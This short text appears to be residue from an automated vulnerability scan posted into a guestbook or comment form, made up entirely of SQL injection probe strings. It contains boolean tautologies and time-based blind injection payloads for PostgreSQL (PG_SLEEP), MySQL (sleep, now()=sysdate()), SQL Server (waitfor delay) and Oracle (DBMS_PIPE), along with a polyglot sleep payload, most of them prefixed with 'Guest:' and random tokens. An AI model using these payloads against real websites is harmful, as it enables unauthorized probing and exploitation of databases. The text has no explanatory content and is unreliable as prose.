-1" OR 5*5=25 or "39w0hfSl"="

Guest:vwcaULL2' OR 986=(SELECT 986 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0)

Guest:sK9Qrou8') OR 461=(SELECT 461 FROM PG_SLEEP(15))--

Guest:
555BUKDRLbY')); waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:nJRgyhNW')) OR 70=(SELECT 70 FROM PG_SLEEP(15))--

Guest:
555BUKDRLbY')); waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Guest:'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Guest:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/